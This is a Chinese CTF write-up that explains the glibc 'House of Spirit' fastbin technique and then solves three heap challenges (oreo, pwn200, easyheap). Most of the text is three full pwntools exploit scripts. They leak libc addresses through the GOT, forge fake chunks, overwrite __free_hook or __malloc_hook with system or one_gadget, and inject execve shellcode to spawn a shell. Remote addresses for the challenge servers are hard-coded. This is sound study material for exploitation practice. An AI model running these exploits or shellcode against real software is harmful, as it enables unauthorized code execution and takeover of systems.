PWN January 03, 2020

House of spirit系列

Words count 49k Reading time 44 mins. Read count 0

一、原理分析:

House of spirit思想:

56733555472

这是fastbin的一种attack的方式,就是我们想要控制的区域是不可控的,但是我们能通过伪造fake_chunk来释放它再申请从而得到目标区域,但是有前提:

(1)获取目标区域地址(堆、栈、bss….)

(2)伪造堆块(找到那两个可控区域)

(3)有能覆盖堆指针的漏洞存在(覆盖堆指针为我们的目标区域地址)

(4)调用free函数将伪堆块释放到fastbin中

(5)申请堆块,将刚刚的伪堆块申请出来

(6)输入数据,即可修改目标区域的内容

(可以是改写ret地址或者任意地址写(free_hook–>system))

这里构造很重要一点:nextchunk的大小要>=2size_z(0x10),fake_chunk的size要在fastbin的范围

二、实战

下面通过2道题演示下这种利用方式:

2、oreo

56733598547

32位的程序,got表可改,没有pie,比较舒服

56733606571

常规菜单题,先整理一波名字,然后gdb调试过程中写出结构体:

56733611502

先看下malloc函数:

56733660493

*(chunk+13)=v1就是将上一个堆块的description的地址存到自己这个堆块的末尾,我们叫它last_heap,然后就是输入name和description,这里有溢出,可以修改last_heap为任意值,表示能任意地址读~

下面是puts函数:

56733676112

打印自己和*(i+13)内容,直接写个puts的got地址

gdb具体看下布局:

56733645415

看到先写内容,然后再写名字,最后会在heap_addr+13*4处留下指向上一个堆块的description的指针,而puts打印时就是看这个去索引然后输出上一个块的description内容的(逆序输出),所以我们打名字时,直接覆盖这里为puts的got表地址,直接打印出真实地址来~

有了真实地址,下面就是怎么getshell问题了,那么怎么写呢?有写的地址吗?

继续看edit函数:

56733687097

这是往bss中的0x804A2A8中的地址(0x804A2C0)中写入内容,有个写地址,那么猜想,如果这个地址改写成free_hook的话,那就完事了,但是怎么改这里呢?要想改这里,首选劫持!那么这里附近有没有可控区域来构造fake_chunk呢?

看下:

56733704050)56733704058

发现可控区域1是可以伪造size的,但是一个个地计数,又因为固定大小的chunk,所以fake_size也要一样,也就是0x41,这个好办,申请0x41次就好了。而可控区域2使我们可以直接输入的位置(0x804A2C0),在这里可以伪造next_chunk的size,绕过第三层的检测。

万事俱备,接着开始撸:

这里需要注意一点就是,free完会放到fastbin中,所以我们需要把description处的堆地址置为0,这样free时就不会一股脑全部进去了,而是只进去我们想让它进去的fake_chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='i386', os='linux')
local = 1
elf = ELF('./oreo')
if local:
p = process('./oreo')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
# i = 0
# while True:
# i += 1
# print i
# if local:
# p = process('./babypie')
# libc = elf.libc
# else:
# p = remote('',)
# libc = ELF('./')
# sl = lambda s : p.sendline(s)
# sd = lambda s : p.send(s)
# rc = lambda n : p.recv(n)
# ru = lambda s : p.recvuntil(s)
# ti = lambda : p.interactive()
# system_addr = '\x3E\x0A'
# py = ''
# py += 'a'*0x28 +'\x01'
# sd(py)
# ru('\x01')
# canary = '\x00' + p.recv()[:7]
# print "canary--->" + hex(u64(canary))
# py = ''
# py += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
# sd(py)
# try:
# p.recv(timeout = 1)
# except EOFError:
# p.close()
# continue
# p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(name,description):
sl('1')
sl(name)
sl(description)

def puts():
sl('2')

def free():
sl('3')

def edit(notice):
sl('4')
sl(notice)

def printf():
sl('5')

#bk(0x080487F0)
malloc('aaaa','bbbb')
puts_got = elf.got["puts"]
py = ''
py += 'a'*27 + p32(puts_got)
malloc(py,'kkkkkkkk')
puts()
ru("Description: ")
ru("Description: ")
puts_addr = u32(rc(4))
print "puts_addr--->" + hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
onegadget = libc_base + 0x5fbc6
system = libc_base + libc.symbols["system"]
binsh = libc_base + libc.search('/bin/sh\x00').next()
free_hook = libc_base + libc.symbols["__free_hook"]
py = ''
py += 'a'*27 + p32(0)
for i in range(0x40-2):
malloc(py,'king')
py = ''
py += 'a'*27 + p32(0x804A2A8)
malloc(py,'king')
py = ''
py += '\x00'*0x20 #因为是从c0开始写入,前面有0x18的空字符了,所以该需要0x20才能达到0x38
py += p32(0x40) + p32(0x71) #fake_next_size
edit(py)
free()
malloc('jjjj',p32(free_hook))
edit(p32(system))
malloc('/bin/sh\x00','/bin/sh\x00')
free()
p.interactive()

2、下面来看一道迁移到栈的题目:

56733995562

画面内容引起舒适

56733993759

分析下,第一步写name,可以泄露ebp地址(去除0截断),第二步是写id,会存到距离ebp有0x10的位置

56734003188

这里是第二次输入,给money,是在栈上,然后strcpy到堆地址:

56734012521

可以看到,0x40字节真好可以覆盖掉堆地址,那么思路相当清晰:

1、id的区域就是可控区域2,而money的输入就是可控区域1,我们构造好fake_chunk就可以直接free掉了,然后再申请得到栈地址,接着栈溢出填写shellcode返回地址。

56734041342

56734043784

再申请时就可以得到了~然后可以写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn200')
if local:
p = process('./pwn200')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
# i = 0
# while True:
# i += 1
# print i
# if local:
# p = process('./babypie')
# libc = elf.libc
# else:
# p = remote('',)
# libc = ELF('./')
# sl = lambda s : p.sendline(s)
# sd = lambda s : p.send(s)
# rc = lambda n : p.recv(n)
# ru = lambda s : p.recvuntil(s)
# ti = lambda : p.interactive()
# system_addr = '\x3E\x0A'
# py = ''
# py += 'a'*0x28 +'\x01'
# sd(py)
# ru('\x01')
# canary = '\x00' + p.recv()[:7]
# print "canary--->" + hex(u64(canary))
# py = ''
# py += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
# sd(py)
# try:
# p.recv(timeout = 1)
# except EOFError:
# p.close()
# continue
# p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("your choice : ")
sl('1')
ru("how long?")
sl(str(size))
ru("give me more money : ")
sd(content)
def free():
ru("your choice : ")
sl('2')
def exit():
ru("your choice : ")
sl('3')

bk(0x0000000000400A29)
ru("who are u?")
py = ''
py += shellcode64
py = py.ljust(46,'a')
py += 'kk'
sd(py)
ru('kk')
stack = u64(rc(6).ljust(8,'\x00'))
print "stack--->" + hex(stack)
fake_stack = stack - 0xb0
shellcode_addr = stack - 0x50
ru("give me your id ~~?")
sl(str(0x50))
ru("give me money~")
py = ''
py += p64(0) + p64(0x61)
py = py.ljust(0x38,'\x00')
py += p64(fake_stack)
sd(py)
free()
py = ''
py += 'a'*0x30
py += p64(0xdeadbeef)
py += p64(shellcode_addr)
py = py.ljust(48,'\x00')
malloc(0x50,py)
exit()
p.interactive()

构造好就直接打了,这题不难,所以综上来看就是之前总结的思路。

3、再来一题:

这题比较巧妙,结合的知识点还是不错的,下面来看看:

57164378555

57164395445

熟悉的菜单题,free函数有UAF漏洞,这里show函数被限制了,只有变量为0xDEADBEEFDEADBEEF才能输出,但是输入的name和info刚好在0x602090的上面和下面,很自然想到house of spirit去伪造堆块再申请出来,修改变量即可,但是由于没有堆地址覆盖,所以正常free掉这个fake_chunk是无法实现的,但是可以利用UAF漏洞,如果能实现double free的话,就可以写入FD指针,从而申请出来。

57164380488

malloc的功能,能申请的堆块在fastbin以内(0x80),正常的输入content

57164479758

这是666时,这里使用第4次时,会提示付出代价,但是跳过再次使用666,就可以无限次使用了,calloc的功能,申请0xA0的堆块,正常读入content,free有UAF漏洞。

57164528792

好了,到这里程序就分析完了,接着就是漏洞利用思路:

1、double free的实现:

1
2
3
4
5
6
7
8
9
magic(2,'kkkk')
magic(1,'aaaaaaaa')
malloc(0x40,'ffff')
magic(2,'gggg')
malloc(0x60,'hhhh')
malloc(0x60,'oooo')
free()
magic(2,'gggg')
free()

解释下,先申请0xA0的堆块,后面0x40格挡,再free掉0xA0,malloc切割出0x60,这时,由于UAF,虽然ptr处的指针还是0xA0的堆块指针,但是size变成了0x60,我们再次malloc时,得到的是新的堆块,指针放到buf中,这样buf和ptr中都有0x60的堆块指针,121实现doublefree。

2、将fake_chunk写入FD,申请出来再改写变量,这里同时可以往0x602060的FD写入0x602060,伪造double free,这样就可以再次使用这个堆块了(类似ubuntu18下的tcache的dbfree)。

3、show出puts的got,得到真实地址,接着再申请得到0x602060,改写FD得到malloc_hook-0x23处的fake_chunk,申请出来改写malloc_hook为onegadget

4、由于show后关闭了输出,onegadget一直打不通,realloc调整偏移也是不行,这里师兄提示说dbfree触发malloc_printer,会调用malloc触发malloc_hook,于是才打通了

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./easyheap')
if local:
p = process('./easyheap')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru(">> ")
sl('1')
ru("input the size")
sl(str(size))
ru("please input your content")
sd(content)

def free():
ru(">> ")
sl('2')

def show():
ru(">> ")
sl('3')

def magic(choice,content):
ru(">> ")
sl('666')
if choice==1:
ru("build or free?")
sl(str(choice))
ru("please input your content")
sd(content)
else:
ru("build or free?")
sl(str(choice))
def malloc1(size,content):
sl('1')
sl(str(size))
sd(content)

def free1():
sl('2')

def magic_calloc(content):
sl('666')
sl('1')
sl(content)

def magic_free():
sl('666')
sl('2')

puts_got = elf.got["puts"]
ru("please input your username:")
sl(p64(0) + p64(0x71) + p64(0x602060))
ru("please input your info:")
sl(p64(0) + p64(0x41))
fake_chunk = 0x602060
magic(2,'kkkk')
magic(2,'kkkk')
magic(2,'kkkk')
ru(">> ")
sl('666')
magic(2,'kkkk')
magic(1,'aaaaaaaa')
malloc(0x40,'ffff')
magic(2,'gggg')
malloc(0x60,'hhhh')
malloc(0x60,'oooo')
free()
magic(2,'gggg')
free()
malloc(0x60,p64(fake_chunk))
malloc(0x60,p64(fake_chunk))
malloc(0x60,p64(fake_chunk))
py = ''
py += p64(0x602060)*3 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF)
malloc(0x60,py)
show()
libc_base = u64(rc(6).ljust(8,'\x00')) - libc.sym["puts"]
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0xf1147
chunk = libc_base + libc.sym["__malloc_hook"] - 0x23
realloc = libc_base + libc.sym["realloc"]
bk(0x000000000400AA2)
ru("everything has a price")
malloc1(0x60,p64(chunk))
malloc1(0x60,p64(chunk))

py = ''
py += 'A'*11 + p64(onegadget) + p64(realloc+0x14)
malloc1(0x60,py)
sl('2')
sl('2')
p.interactive()

这道题主要是通过double free来实现将fake_chunk链接到我们的fastbin中,从而申请出来,实现没有free函数覆盖堆地址的house of spirit申请出非法区域。

0%